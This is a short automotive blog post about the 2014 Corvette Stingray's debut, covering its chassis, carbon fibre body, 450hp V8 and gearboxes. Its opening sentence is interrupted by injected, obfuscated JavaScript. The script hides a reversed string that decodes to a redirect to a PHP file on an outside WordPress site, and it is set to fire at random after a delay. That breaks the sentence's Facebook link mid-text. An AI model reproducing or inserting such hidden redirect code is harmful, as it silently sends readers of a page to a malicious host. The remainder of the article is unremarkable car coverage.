Those of you on the prowl on $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston?ref=ts” target=”_blank”>Facebook this morning will no doubt have stumbled across pictures of the all-new 2014 Corvette Stingray, which made its debut ahead of this year’s Detroit Motor Show.
This marks a big deal for General Motors. Celebrating its 60th birthday in 2013, the Corvette – still the best-selling sports car in America – has proven with the outgoing model to be much more than just a big, bootable V-block with so-so steering: you don’t spank Ferrari and Dodge at the Nurburgring and Daytona without being something special, after all.
Little more than a tweak here and a tweak there during the previous iteration’s eight year life cycle meant that critics’ eyebrows were raised and a whole appreciation spawned for the 1960s widow maker.
And given that GM is looking for the new Corvette to make a sizeable wallop on the global automotive scene, 50-50 weight distribution, sportier suspension, and a new lightweight carbon fibre body will no doubt mean further improved handling.
Let’s not forget power though. The rear-wheel Corvette has run V8 power for 57 of its 60 years in production and the all-new model is no exception, the 6.2-litre V8 under the bonnet chucking out a fairly handy 450hp. For symmetry’s sake, the new Stingray also boasts 450lb-ft of torque.
Throw in a seven-speed manual (or six-speed automatic) gearbox, double wishbones front and rear suspension, light up the 18/19-inch Michelin Super Sports, and the new two-seater will apparently hit 100kph from standstill in under four seconds. All of which you can enjoy from the comfort of a leather and carbon fibre festooned cabin: think waiting room in The Matrix.
